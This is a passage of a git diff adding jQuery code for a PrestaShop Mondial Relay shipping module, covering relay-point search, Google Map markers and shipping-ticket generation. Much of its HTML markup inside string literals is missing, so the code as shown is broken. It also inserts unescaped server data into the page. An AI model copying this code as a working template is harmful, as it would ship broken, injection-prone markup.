$(this).parent().attr('class', 'PS_MRFloatRelayPointSelected'); + + // Get the info about the relay point (relayPoint_RelayPointNumber_IdCarrier) + var tab = $(this).parent().parent().attr('id').split('_'); + + // Store Separated data for the ajax query + if (tab.length == 3) + { + var relayPointNumber = selected_relay_point = tab[1]; + var id_carrier = tab[2]; + PS_MRAddSelectedRelayPointInDB(relayPointNumber, id_carrier); + } + }); + } + + + /** + * Display the relay point fetched + * + * @param json + * @param blockContent + * @param carrier_id + */ + function PS_MRDisplayRelayPoint(json, blockContent, carrier_id) + { + if (typeof json != 'undefined' && typeof blockContent != 'undefined') + { + numberDisplayed = 0; + + // Disable Gmap for IE user + // if (!$.browser.msie) + PS_MRCreateGmap(carrier_id); + + // Modifications + var id = "PS_MRGmapDefaultPosition_"+carrier_id; + $(id).remove(); + + blockContent.fadeOut('fast', function() + { + $(this).children('li').html(''); + var compteur=0; + for (relayPoint in json.success) + { + // alert(json.success[relayPoint].Pays); + if(json.success[relayPoint].Pays=="FR"){ + // Check if the the content wasn't already displayed + contentBlockid = 'relayPoint_' + json.success[relayPoint].Num + '_' + carrier_id; + if (!$('#' + contentBlockid).size()) + { + // Set translation if a preselection exist + var BtTranslation = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + PS_MRTranslationList['Selected'] : PS_MRTranslationList['Select']; + + var classSelection = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + 'PS_MRFloatRelayPointSelected' : 'PS_MRFloatRelayPointSelecteIt'; + + $('
        ' + + '
        ' + + ' ' + + '
        ' + + '' + + '

        ' + json.success[relayPoint].LgAdr3 + + '
        ' + json.success[relayPoint].CP + ' ' + json.success[relayPoint].Ville + // + '
        ' + json.success[relayPoint].Pays + '

        ' + // + '
        ' + // + '' + BtTranslation + '' + // + '
        \ + +'
        ').appendTo($(this).children('li')); + + // Store all the object content to prevent an ajax request + relayPointDataContainers[json.success[relayPoint].Num] = json.success[relayPoint]; + ++numberDisplayed; + // Display popup for IE user + //if (!$.browser.msie) + PS_MRAddGMapMarker(carrier_id, json.success[relayPoint].Num, contentBlockid); + /* else + $('#' + contentBlockid).children('p').click(function() { + PS_MROpenPopupDetail(json.success[relayPoint].permaLinkDetail); + });*/ + } + } + if($('.type-interior').length==0){ + compteur++; + if(compteur==5) + compteur=0; + }else{ + + if(compteur==0) + compteur=1; + else + compteur=0; + } + } + // alert(compteur); + PS_MRHandleSelectedRelayPoint(); + $(this).fadeIn('fast'); + }); + } + // else{ + // alert('Erreur, aucun point relai trouvé'); + // } + } + + /** + * Display error about the fetch of the relay point + * + * @param errorList + * @param blockContent + */ + function PS_MRDisplayErrorRelayPoint(errorList, blockContent) + { + + blockContent.fadeOut('fast', function() + { + $(this).children('li').html(''); + for (numError in errorList) + { + $('
        ' + errorList[numError] + '
        ').appendTo($(this).children('li')); + } + $(this).fadeIn('fast'); + }); + } + + /** + * Fetch the relay point + * + * @param carrierSelected + */ + function PS_MRFetchRelayPoint(carrierSelected) + { + carrier_id = carrierSelected.val(); + + // Block is an input, we need the 'tr' element + blockTR = carrierSelected.parent().parent(); + // Add a new line to the table after the clicked parent element + blockTR.after(' \ +
          \ +
        • \ + \ +
          \ +
        '); + + var data2=""; + if($('#MRVILLE').length>0){ + if($('#MRVILLE').val()!='' && $('#CODEPOSTAL').val()!="") + data2="?ville="+$('#MRVILLE').val()+"Ville="+$('#MRVILLE').val()+"&codepostal="+$('#CODEPOSTAL').val()+"&CP="+$('#CODEPOSTAL').val(); + // data2="?ville="+$('#MRVILLE').val()+"&codeppostal="+$('#CODEPOSTAL').val(); + } + fetchingRelayPoint[carrier_id] = $('#PS_MRSelectedCarrier_' + carrier_id); + // alert(data2); + if(data2!=""){ + MRjQuery.ajax( + { + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php'+data2, + data: {'method' : 'MRGetRelayPoint', + 'id_carrier' : carrier_id, + 'ajax' : true, + 'RayonRecherche' : 10, + 'Ville' : $('#MRVILLE').val(), + 'CP' : $('#CODEPOSTAL').val(), + 'step' : 2, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + // alert(dump(json)); + if (json && json.error && json.error.length) + PS_MRDisplayErrorRelayPoint(json.error, $('#PS_MRSelectedCarrier_' + carrier_id)); + else if (json && json.success) + PS_MRDisplayRelayPoint(json, $('#PS_MRSelectedCarrier_' + carrier_id), carrier_id); + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + }else{ + MRjQuery.ajax( + { + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php'+data2, + data: {'method' : 'MRGetRelayPoint', + 'id_carrier' : carrier_id, + 'ajax' : true, + 'step' : 2, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + if (json && json.error && json.error.length){ + // alert('1'); + PS_MRDisplayErrorRelayPoint(json.error, $('#PS_MRSelectedCarrier_' + carrier_id)); + }else + if (json && json.success){ + // alert('2'); + PS_MRDisplayRelayPoint(json, $('#PS_MRSelectedCarrier_' + carrier_id), carrier_id); + } + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + } + } + + /** + * Display the relay point of a selected Carrier and keep fetched data + * in the html page (cache) + * + * @param carrierSelected + */ + function PS_MRGetRelayPoint(carrierSelected) + { + carrier_id = carrierSelected.val(); + + // Init back the inital view, hide existing element, (keep cached) + element = 0; + totalElement = $('.PS_MRSelectedCarrier').size(); +// alert(totalElement); + // Check if the element has already been fetched + if (totalElement>0){ + + // alert(totalElement); + // It Works like a foreach + $('.PS_MRSelectedCarrier').fadeOut('fast', function() + { + if ((element + 1) >= totalElement) + { + // Check if the user already clicked and if the process is done + if (typeof fetchingRelayPoint[carrier_id] != 'undefined') + { + fetchingRelayPoint[carrier_id].fadeIn('fast'); + return ; + } + // If the element isn't cached, we fetch it + PS_MRFetchRelayPoint(carrierSelected); + } + ++element; + }); + } + else + { + + // alert(totalElement+" 2"); + PS_MRFetchRelayPoint(carrierSelected); + } + } + + /** + * Create the Gmap Block and cache the js object for the carrier + * + * @param id_carrier + */ + function PS_MRCreateGmap(id_carrier) + { + if($('#echantillons').length==0){ + // This has been written this way because it needed to have a known block + // present everytime in the page. Body is the only one sure. + // It's an hidden block which will be put in the right block when user select his + // own carrier + var barreMap=""; + if($('#MRVILLE').length==0){ + barreMap='
        '; + } + + // Modifications pour eviter une 2e map vide + var id = "PS_MRGmapDefaultPosition_"+id_carrier; + $(id).remove(); + if ($(id).length==0){ + $('.mondialRelay').before(barreMap+'\ +
          \ +
        • \ +
          \ +
        '); + } + + /** + $('.mondialRelay').before(barreMap+'\ +
          \ +
        • \ +
          \ +
        '); + */ + $('#PS_MRGmap_' + id_carrier).gmap3( + { + action: 'init', + callback: function(result) + { + GmapList[id_carrier] = $(this); + // Can't set the display to none by default (bug due to + // navigator that tell to google that the content size = 0 + //$(this).toggle('fast'); + } + } + ); + } + } + + /** + * Resize the map when the div got changement about dimension / position and displaying + * + * @param $map + */ + function PS_MRGmapResizeEvent($map) + { + gmap = $map.gmap3({action:'get'}); + google.maps.event.trigger(gmap, 'resize'); + } + + /** + * Move the view of the gmap to a marker + * liable to the relay point + * + * @param $map + * @param marker + * @param relayNum + */ + function PS_MRGmapPlaceViewOnMarker($map, marker, relayNum) + { + $map.gmap3( + { + action:'panTo', + args:[marker.position], + callback: function() + { + PS_MRDisplayClickedGmapWindow(marker, relayNum, $map); + + // Make dancing markers in Firefox / IE will use the CPU to 50 to 100 % about + if (!$.browser.msie && !$.browser.mozilla) + (function(m) + { + setTimeout(function() + { + m.setAnimation(google.maps.Animation.BOUNCE); + }, 200); + })(marker); + // marker.setAnimation(google.maps.Animation.BOUNCE); + } + }); + } + + /** + * Stop all dancing marker of the current selected carrier + * + * @param currentMarkerList + */ + function PS_MRStopDancingMarkers(currentMarkerList) + { + for (markerNumber in currentMarkerList) + if (currentMarkerList[markerNumber] != undefined) + if (currentMarkerList[markerNumber].getAnimation() != null) + currentMarkerList[markerNumber].setAnimation(null); + } + + /** + * Display the Gmap of the selected relay point + * + * @param contentBlockid + * @param $map + */ + function PS_MRDisplayGmap(contentBlockid, $map) + { + var tab = contentBlockid.split('_'); + var relayPointNumber = tab[1]; + var id_carrier = tab[2]; + + // Stop the dancing marker of the current carrier + PS_MRStopDancingMarkers(markerList[id_carrier]); + if ($('#PS_MRGmap_' + id_carrier).css('display') == 'none') + { + $('#' + contentBlockid).after($('#PS_MRGmap_' + id_carrier)); + $('#PS_MRGmap_' + id_carrier).slideDown('fast', function() + { + PS_MRGmapResizeEvent($map); + PS_MRGmapPlaceViewOnMarker($map, markerList[id_carrier][relayPointNumber], relayPointNumber); + }); + } + else + { + previousElem = $('#PS_MRGmap_' + id_carrier).prev(); + //$('#' + contentBlockid).after($('#PS_MRGmap_' + id_carrier)); + $('#PS_MRGmap_' + id_carrier).toggle('fast', function() + { + if (previousElem.attr('id') != contentBlockid) + { + $('#' + contentBlockid).after($(this)); + $('#PS_MRGmap_' + id_carrier).slideDown('fast', function() + { + PS_MRGmapPlaceViewOnMarker($map, markerList[id_carrier][relayPointNumber], relayPointNumber); + }); + } + }); + } + } + + /** + * Generate an html block to display the opening hours details + * + * @param relayInfo + */ + function PS_MRGetTimeRelayDetail(relayInfo) + { + onClick = 'onClick="PS_MROpenPopupDetail(\'' + relayInfo.permaLinkDetail + '\')"'; + + var html = ' \ +
        \ + \ +

        ' + relayInfo.LgAdr1 + '
        ' + relayInfo.LgAdr3 + + ' - ' + relayInfo.CP + ' - ' + relayInfo.Ville + + ' ' + relayInfo.Pays + '

        \ + ' + PS_MRTranslationList['moreDetails'] + ' \ +
        '; + return html; + } + + /** + * Call a MondialRelay page into a popup + * + * @param url + */ + function PS_MROpenPopupDetail(url) + { + window.open(url, 'MondialRelay', + 'height=200, width=400, top=100, left=100, toolbar=no, menubar=yes, \ + location=no, resizable=yes, scrollbars=no, status=no'); + } + + /** + * Display the gmap windows selected by the user + * + * @param marker + * @param relayNum + * @param mapObject + */ + function PS_MRDisplayClickedGmapWindow(marker, relayNum, mapObject) + { + if (last_gmap_info_clicked.length) + { + // Close the last opening window in gmap + if ((lastWin = mapObject.gmap3({action:'get', name:'infowindow', tag:last_gmap_info_clicked}))) + lastWin.close(); + } + + // Open the selected detail window + map = mapObject.gmap3('get'); + if ((currentWindow = mapObject.gmap3({action:'get', name:'infowindow', tag:relayNum}))) + currentWindow.open(map, marker); + last_gmap_info_clicked = relayNum; + } + + /** + * Add a new Marker to a Gmap for a carrier using the + * relay point information + * + * @param id_carrier + * @param relayPointNumber + * @param contentBlockid + */ + function PS_MRAddGMapMarker(id_carrier, relayPointNumber, contentBlockid) + { + // Check if the gmap has been properly created + if (GmapList[id_carrier] == undefined) + return ; + var relayInfo = relayPointDataContainers[relayPointNumber]; + var detailContentHtml = PS_MRGetTimeRelayDetail(relayInfo); + if($('.PS_MRRelayPointInfo').length==1){ + var centerTheMap=true; + }else{ + var centerTheMap=false; + } + // Add Marker to the map + var fullFormatedAddress = relayInfo.LgAdr1 + ' ' + relayInfo.LgAdr3 + ' ' + + relayInfo.CP + ' ' + relayInfo.Ville + ' ' + relayInfo.Pays; + GmapList[id_carrier].gmap3( + { + action: 'addMarker', + address: fullFormatedAddress, + tag:relayInfo.Num, + map: + { + center: centerTheMap, + zoom: 14 + }, + marker: { + events: + { + click:function(marker, event, data) + { + PS_MRDisplayClickedGmapWindow(marker, relayInfo.Num, $(this)); + } + }, + callback: function(marker) + { + if (marker) + { + // Check if the a marker list exist for the carrier, + if (markerList[id_carrier] == undefined) + markerList[id_carrier] = new Object(); + + // Store the marker in the markerList of the carrier + markerList[id_carrier][relayPointNumber] = marker; + + // Link all relay point line info to an action + $('#' + contentBlockid).children('p').click(function() + { + PS_MRDisplayGmap($(this).parent().attr('id'), GmapList[id_carrier]); + }); + return true; + } + else + $('#' + contentBlockid).children('p').click(function() + { + PS_MROpenPopupDetail(relayInfo.permaLinkDetail); + }); + } + }, + infowindow: + { + options: {content:detailContentHtml}, + tag:relayInfo.Num, + callback: function(infowindow) { + + var windowList = $(this).gmap3({action:'get', name:'infowindow', all:true}); + $.each(windowList, function(i, elem) { + elem.close(); + }); + } + } + }); + return false; + } + + /** + * Display the selected form block for the configuration page + * @param block_id + */ + function PS_MRDisplayConfigurationForm(block_id) + { + var block_form_id = block_id + '_block'; + var total_form = $('.PS_MRFormType').length; + var i = 0; + + $('.PS_MRFormType').each(function() + { + if ($(this).attr('id') != block_form_id) + $(this).css('display', 'none'); + if ((i + 1) == total_form) + { + $('#' + block_form_id).fadeIn('fast'); + $('#' + block_id).parents('ul').children('li').attr('class', ''); + $('#' + block_id).parent().attr('class', 'selected'); + } + ++i; + }); + + if ($('#' + block_form_id).length == 0) + $('#MR_error_account').fadeIn('fast'); + } + + function checkToDisplayRelayList() + { + // alert(PS_MRData); + if (typeof PS_MRData != 'undefined') + { + PS_MRSelectedRelayPoint['relayPointNum'] = selected_relay_point = PS_MRData.pre_selected_relay; + // PS_VERSION < '1.5' + // alert(PS_MRData.carrier); + if (PS_MRData.PS_VERSION >= '1.5' && PS_MRData.carrier) + { // 1.5 way + selected_id_carrier = $('input[class=delivery_option_radio]:checked').val().replace(',', ''); + var carrier_block = $('input[class=delivery_option_radio]:checked').parent('div.delivery_option'); + + PS_MRCarrierMethodList[PS_MRData.carrier.id] = PS_MRData.carrier.id_mr_method; + PS_MRSelectedRelayPoint['carrier_id'] = PS_MRData.carrier.id; + // Simulate 1.4 table to store the relay point fetched + + if($(carrier_block).find('.delivery_option_title').html()=="Mondial Relay" && $('#echantillons').length==0){ + + $('.addresses .address_delivery').hide(); + $('.addresses .address_delivery').prev().hide(); + $('.addresses .address_delivery').next().hide(); + $('.addresses .address_delivery').next().next().hide(); + $(carrier_block).parent().parent().append( + '
        ' + +'
          ' + +'
        • ' + + '' + + '
        • ' + +'
        ' + // +'' + +'
        '); + + PS_MRCarrierMethodList[PS_MRData.carrier.id_carrier] = PS_MRData.carrier.id_mr_method; + PS_MRCarrierSelectedProcess($('#id_carrier' + PS_MRData.carrier.id), PS_MRData.carrier.id, PS_MRData.carrier.mr_dlv_mode); + }else{ + + $('.addresses .address_delivery').show(); + $('.addresses .address_delivery').prev().show(); + $('.addresses .address_delivery').next().show(); + $('.addresses .address_delivery').next().next().show(); + } + } + + // $('.delivery_option').live('click', function() { + // $('.delivery_option').removeClass('selected'); + // $(this).addClass('selected'); + // }); + // Handle input click of the other input to hide the previous relay point list displayed + $('input[name=id_carrier], .delivery_option_radio').click(function(){ + // Hide MR input if one of them is not selected + + $('.delivery_option').removeClass('selected'); + $(this).parent().addClass('selected'); + + $('.addresses .address_delivery').show(); + $('.addresses .address_delivery').prev().show(); + $('.addresses .address_delivery').next().show(); + $('.addresses .address_delivery').next().next().show(); + + $('#barreMap').remove(); + $('.mondialRelay.clear').remove(); + $('.PS_MRGmapDefaultPosition').remove(); + $('.PS_MRSelectedCarrier').remove(); + if (PS_MRCarrierMethodList[$(this).val()] == undefined){ + PS_MRHideLastRelayPointList(); + } + }); + $('.button.noir.MR').live('click', function() { + // $('.button.noir.MR').click(function(){ + // Hide MR input if one of them is not selected + // if (PS_MRCarrierMethodList[$(this).val()] == undefined){ + // alert('test'); + // checkToDisplayRelayList(); + if($('#CODEPOSTAL').val()=='' || $('#MRVILLE')=='') + alert(PS_MRTranslationList['cpvilleobligatoire']); + else{ + $('.PS_MRGmapDefaultPosition').remove(); + $('.PS_MRSelectedCarrier').remove(); + PS_MRCarrierSelectedProcess($('#id_carrier' + PS_MRData.carrier.id), PS_MRData.carrier.id, PS_MRData.carrier.mr_dlv_mode); + } + // } + }); + + // 1.5 OPC Validation - Warn user to select a relay point + $('.payment_module a').live('click', function() { + if (PS_MRData.PS_VERSION >= '1.5' && PS_MRData.carrier) + { + var _return = !(!PS_MRSelectedRelayPoint['carrier_id'] || !PS_MRSelectedRelayPoint['relayPointNum']); + if (!_return) + alert(PS_MRTranslationList['errorSelection']); + return _return; + } + }); + } + } + + $(document).ready(function() + { + $('#form').submit(function() + { + return PS_MRCheckSelectedRelayPoint(); + }); + $('#toggleStatusOrderList').click(function() + { + toggleOrderListSelection(); + }); + $('#toggleStatusHistoryList').click(function() + { + toggleHistoryListSelection(); + }); + $('#generate').click(function() + { + generateTicketsAjax(); + }); + $('#PS_MRSubmitButtonDeleteHistories').click(function() + { + deleteSelectedHistories(); + }); + + // Shipping method list + $('.send_disable_carrier_form').click(function() { + $(this).parent('form').submit(); + }); + + // Configuration form page + $('#MR_config_menu a').each(function() { + $(this).click(function() { + PS_MRDisplayConfigurationForm($(this).attr('id')); + }); + }) + + $('input[name="processCarrier"]').click(function() { + if (PS_MRData != 'undefined' && PS_MRData.carrier != null) { + var result = false; + $.each(PS_MRData.carrier_list, function(key, value) { + if (value.id_carrier == selected_id_carrier && selected_relay_point > 0) + result = true; + }); + if (result == true) + return true; + alert(PS_MRWarningMessage); + return false; + } + return true; + }); + + if (typeof(PS_MR_SELECTED_TAB ) != 'undefined') + $('#MR_' + PS_MR_SELECTED_TAB + '_block').fadeIn('fast'); + + // Have the
      • elements centered (TODO: Change it using css if possible) + if ($('#MR_config_menu').size()) + { + var width = $('#MR_config_menu').width(); + + // Take directly the ul width woudln't work + var ul_width = 0; + + $('#MR_config_menu').find('ul > li').each(function() { + + var padding_left = parseInt($(this).css('padding-left').replace(/[^-\d\.]/g, '')); + var padding_right = parseInt($(this).css('padding-right').replace(/[^-\d\.]/g, '')); + + ul_width += parseInt($(this).width()) + padding_left + padding_right; + }); + + width = ((width - ul_width) / 2); + $('#MR_config_menu').children('ul').css('margin-left', width + 'px'); + } + }); + + // To have public method access for this closure + return { + initFront : function() { + // if(alreadyInit==0) + // alert($('.mondialRelay.clear').length); + // if($('.mondialRelay.clear').length==0) + + checkToDisplayRelayList(); + }, + uninstall : function(url) + { + return PS_MRGetUninstallDetail(url); + } + }; +})(jQuery); +alreadyInit=1; \ No newline at end of file diff --git a/modules/mondialrelay/js/mondialrelay_mobile.js b/modules/mondialrelay/js/mondialrelay_mobile.js new file mode 100755 index 0000000..0f323c5 --- /dev/null +++ b/modules/mondialrelay/js/mondialrelay_mobile.js @@ -0,0 +1,1315 @@ + +var alreadyInit=0; +var PS_MRObject = (function($, undifened) { + + var selected_id_carrier = 0; + var selected_relay_point = 0; + var toggle_status_order_list = false; + var toggle_history_order_list = false; + var relay_point_max = 30; + var last_gmap_info_clicked = ''; + +// /!\ All the following list data could be store into the same variable +// But for a better reading of the code, there are separated + +// List of the supplier id which the user trying to fetch the relay + var fetchingRelayPoint = new Array(); + +// List of the relay point object + var relayPointDataContainers = new Array(); + +// List of the google map object + var GmapList = new Object(); + +// List the marker liable to the relay pint + var markerList = new Object(); + + var selected = false; + + /** + * Toggle selected orders + */ + function toggleOrderListSelection() + { + toggle_status_order_list = !toggle_status_order_list; + $('input[name="order_id_list[]"]').attr('checked', toggle_status_order_list); + } + + /** + * Toggle selected histories + */ + function toggleHistoryListSelection() + { + toggle_history_order_list = !toggle_history_order_list; + $('input[name="history_id_list[]"]').attr('checked', toggle_history_order_list); + } + + /** + * Request Ajax call to get tickets + * + * @param detailedExpeditionList + */ + function getTickets(detailedExpeditionList) + { + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'detailedExpeditionList':detailedExpeditionList, 'method':'MRGetTickets', 'mrtoken':mrtoken}, + dataType: 'json', + success: function(json) + { + if (json && json.success) + { + $('#MR_error_histories').remove(); + for (id_order in json.success) + if (json.success[id_order]) + { + $('#URLA4_' + id_order).html('\ + download pdf'); + $('#URLA5_' + id_order).html('\ + download pdf'); + $('#expeditionNumber_' + id_order).html(json.success[id_order].expeditionNumber); + $('#detailHistory_' + id_order).children('li').children('input').attr('value', json.success[id_order].id_mr_history); + $('#detailHistory_' + id_order).children('li').children('input').attr('id', 'PS_MRHistoryId_' + json.success[id_order].id_mr_history); + } + } + displayBackGenerateSubmitButton(); + displayBackHistoriesSubmitButton(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + displayBackGenerateSubmitButton(); + } + }); + } + + /** + * Check error for the generated tickets + * @param json + */ + function checkErrorGeneratedTickets(json) + { + i = 0; + $('.PS_MRErrorList').fadeOut('fast', function() + { + if ((++i >= $('.PS_MRErrorList').length) && json && json.error) + for (id_order in json.error) + if (json.error[id_order] && json.error[id_order].length) + { + $('#errorCreatingTicket_' + id_order).children('li').children('span').html(''); + $('#errorCreatingTicket_' + id_order).fadeOut('slow'); + $('#errorCreatingTicket_' + id_order).fadeIn('slow'); + for (numError in json.error[id_order]) + $('#errorCreatingTicket_' + id_order).children('li').children('span').append(json.error[id_order][numError] + '
        '); + } + }); + checkOtherErrors(json); + } + + /** + * Check Errors code + * @param json + */ + function checkOtherErrors(json) + { + $('#otherErrors').fadeOut('fast', function() + { + if (json && json.other && json.other.error) + for (numError in json.other.error) + if (json.other.error[numError]) + { + $('#otherErrors').fadeIn('slow'); + $('#otherErrors').children('span').html(''); + $('#otherErrors').children('span').append(json.other.error[numError]); + } + }); + } + + /** + * Check anything about generated tickets + * @param json + */ + function checkSucceedGenerateTickets(json) + { + detailedExpeditionList = new Array(); + + i = 0; + $('.PS_MRSuccessList').fadeOut('fast', function() + { + if ((++i >= $('.PS_MRSuccessList').length) && json && json.success) + { + for (id_order in json.success) + if (json.success[id_order] && json.success[id_order].expeditionNumber) + { + $('#successCreatingTicket_' + id_order).children('li').children('span').html(''); + $('#PS_MRLineOrderInformation-' + id_order).remove(); + $('#successCreatingTicket_' + id_order).fadeIn('slow'); + detailedExpeditionList.push({'id_order':id_order, 'expeditionNumber':json.success[id_order].expeditionNumber}); + + if (!$('#detailHistory_' + id_order).length) + { + $('#PS_MRHistoriqueTableList').append('\ +
          \ +
        • \ +
        • ' + id_order + '
        • \ +
        • \ +
        • \ +
        • \ +
        '); + } + else + { + $('#detailHistory_' + id_order).children('#URLA4_' + id_order).html(''); + $('#detailHistory_' + id_order).children('#URLA5_' + id_order).html(''); + $('#detailHistory_' + id_order).children('#expeditionNumber_' + id_order).html(''); + } + } + } + }); + return detailedExpeditionList; + } + + /** + * Display the button to generate tickets + */ + function displayBackGenerateSubmitButton() + { + $('#PS_MRSubmitGenerateLoader').css('display', 'none'); + if ($('.order_id_list').length) + $('#PS_MRSubmitButtonGenerateTicket').fadeIn('slow'); + } + + /** + * Display the button to delete histories + */ + function displayBackHistoriesSubmitButton() + { + $('#PS_MRSubmitDeleteHistoriesLoader').css('display', 'none'); + if ($('.history_id_list').length) + $('#PS_MRSubmitButtonDeleteHistories').fadeIn('slow'); + } + + /** + * Request an ajax call to generate the tickets + */ + function generateTicketsAjax() + { + var order_id_list = new Array(); + var weight_list = new Array(); + + $('#PS_MRSubmitButtonGenerateTicket').css('display', 'none'); + $('#PS_MRSubmitGenerateLoader').fadeIn('slow'); + + numSelected = $('input[name="order_id_list[]"]:checked').length; + $('input[name="order_id_list[]"]:checked').each(function() + { + order_id_list.push($(this).val()); + weight_list.push(($('#weight_' + $(this).val()).val()) + '-' + $(this).val()); + }); + + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'order_id_list' : order_id_list, + 'numSelected' : numSelected, + 'weight_list' : weight_list, + 'method' : 'MRCreateTickets', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + detailedExpeditionList = new Array(); + + checkErrorGeneratedTickets(json); + detailedExpeditionList = checkSucceedGenerateTickets(json); + + if (detailedExpeditionList.length) + getTickets(detailedExpeditionList); + else + displayBackGenerateSubmitButton(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + display_generate_button = true; + displayBackGenerateSubmitButton(); + } + }); + delete(order_id_list); + delete(weight_list); + } + + /** + * Display deleted history details + */ + function displayDeletedHistoryInformation() + { + $('input[name="history_id_list[]"]:checked').each(function() + { + $(this).parent().parent().css('background-color', '#FFE2E3'); + }); + displayBackHistoriesSubmitButton(); + } + + /** + * Manage the removed histories id + * + * @param json + */ + function checkDeletedHistoriesId(json) + { + if (json && json.success) + { + // Allow to wait the end of the loop to manage unremoved item + i = 0; + for (numberHistoryId in json.success.deletedListId) + { + $('#PS_MRHistoryId_' + json.success.deletedListId[numberHistoryId]).parent().parent().fadeOut('fast', function() { + $(this).remove(); + // Fadeout is asynchome verify everytime the number element + if (++i == json.success.deletedListId.length) + displayDeletedHistoryInformation(json.success.deletedListId.length); + }); + } + // Use if none element exist in the list + if (i == json.success.deletedListId.length) + displayDeletedHistoryInformation(); + } + else + displayBackHistoriesSubmitButton(); + } + + /** + * Delete the histories selected by the merchant + */ + function deleteSelectedHistories() + { + var history_id_list = new Array(); + + $('#PS_MRSubmitButtonDeleteHistories').css('display', 'none'); + $('#PS_MRSubmitDeleteHistoriesLoader').fadeIn('slow'); + + numSelected = $('input[name="order_id_list[]"]:checked').length; + $('input[name="history_id_list[]"]:checked').each(function() + { + history_id_list.push($(this).val()); + }); + + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'history_id_list' : history_id_list, + 'numSelected' : numSelected, + 'method' : 'DeleteHistory', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + checkOtherErrors(json); + checkDeletedHistoriesId(json); + }, + error: function(xhr, ajaxOptions, thrownError) + { + display_generate_button = true; + displayBackHistoriesSubmitButton(); + } + }); + } + + /** + * Display a fancy box displaying details about the + * backup of the database + */ + function PS_MRGetUninstallDetail(url) + { + $.ajax( + { + type: 'POST', + url: window.location.href, + data: {'method' : 'uninstallDetail', + 'action' : 'showFancy', + 'href' : url, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + ((json.html.length) ? + $.fancybox(json.html, + { + 'autoDimensions' : false, + 'width' : 450, + 'height' : 'auto', + 'transitionIn' : 'none', + 'transitionOut' : 'none', + 'onComplete' : function() + { + PS_MRHandleUninstallButton(url); + + // Rewrite some css properties of Fancybox + $('#fancybox-wrap').css('width', ''); + $('#fancybox-content').css('background-color', ''); + $('#fancybox-content').css('border', ''); + } + }) + : ''); + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + return false; + } + + /** + * Handle the button when a user clicked on the uninstall button + */ + function PS_MRHandleUninstallButton(url) + { + $('#PS_MR_BackupAction').click(function() + { + $.fancybox.close(); + PS_MRBackupDatabase(url); + }); + + $('#PS_MR_UninstallAction').click(function() + { + window.location.href = url; + $.fancybox.close(); + return true; + }); + + $('#PS_MR_StopUninstall').click(function() + { + $.fancybox.close(); + return false; + }); + } + + /** + * Ajax call to keep the database of the module safe + */ + function PS_MRBackupDatabase(url) + { + $.ajax( + { + type: 'POST', + url: window.location.href, + data: {'method' : 'uninstallDetail', + 'action' : 'backupAndUninstall', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + url += '&keepDatabase=true'; + window.location.href = url; + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + } + + /** + * Add / update a entry to the selected carrier to the mr_selected table + * with the selected relay point information + * + * @param relayPointNumber + * @param id_carrier + */ + function PS_MRAddSelectedRelayPointInDB(relayPointNumber, id_carrier) + { + PS_MRSelectedRelayPoint['relayPointNum'] = relayPointNumber; + + // Ajax call to add the selection in the database (compatibility for 1.3) + // But keep this way to add a selection better that the hook + MRjQuery.ajax({ + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'addSelectedCarrierToDB', + 'relayPointInfo' : relayPointDataContainers[relayPointNumber], + 'id_carrier' : id_carrier, + 'id_mr_method' : PS_MRCarrierMethodList[id_carrier], + 'mrtoken' : mrtoken}, + success: function(json) + { + if (PS_MROPC && PS_MRData.PS_VERSION < '1.5') + updateCarrierSelectionAndGift(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + } + }); + } + + /** + * Add / update a entry to the selected carrier to the mr_selected table + * Without relay point information + * + * @param id_carrier + */ + function PS_MRAddSelectedCarrierInDB(id_carrier) + { + PS_MRHideLastRelayPointList(); + + // Make the request + $.ajax({ + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'addSelectedCarrierToDB', + 'id_carrier' : id_carrier, + 'id_mr_method' : PS_MRCarrierMethodList[id_carrier], + 'mrtoken' : mrtoken}, + success: function(json) + { + }, + error: function(xhr, ajaxOptions, thrownError) + { + } + }); + } + + /** + * Handle function when an user click on a shipping + * + * @param carrierSelected + * @param id_carrier + * @param MRLivraisonType + */ + function PS_MRCarrierSelectedProcess(carrierSelected, id_carrier, MRLivraisonType) + { + // Reset for any carrier changement + if (MRLivraisonType != 'LD1' && MRLivraisonType != 'LDS') + { + // Seek Relay point if it doesn't a home delivery mode + PS_MRGetRelayPoint(carrierSelected); + } + else + { + // Simply add the selected carrier to the db, relay information will be empty + PS_MRAddSelectedCarrierInDB(id_carrier); + + // Won't have any relay points + PS_MRSelectedRelayPoint['relayPointNum'] = -1; + } + } + + /** + * Hide the last displayed relay point list + */ + function PS_MRHideLastRelayPointList() + { + var value = 0; + + if (PS_MRData.PS_VERSION < '1.5') + value = $('.id_carrier:checked').val(); + else if (PS_MRData.PS_VERSION >= '1.5') + value = $('.delivery_option_radio:checked').val().replace(',', ''); + + if (value != selected_id_carrier) { + selected_id_carrier = value; + $('.PS_MRSelectedCarrier').fadeOut('fast'); + } + } + + /** + * Check if the user select a carrier and a relay point if exist + */ + function PS_MRCheckSelectedRelayPoint() + { + var input; + + // Check if the input is linked to the module and look into + // a temporary variable if a relay point has been selected + if ((input = $('input[name=id_carrier]:checked')).length && + PS_MRCarrierMethodList[input.val()] != undefined && + PS_MRSelectedRelayPoint['relayPointNum'] == 0) + { + 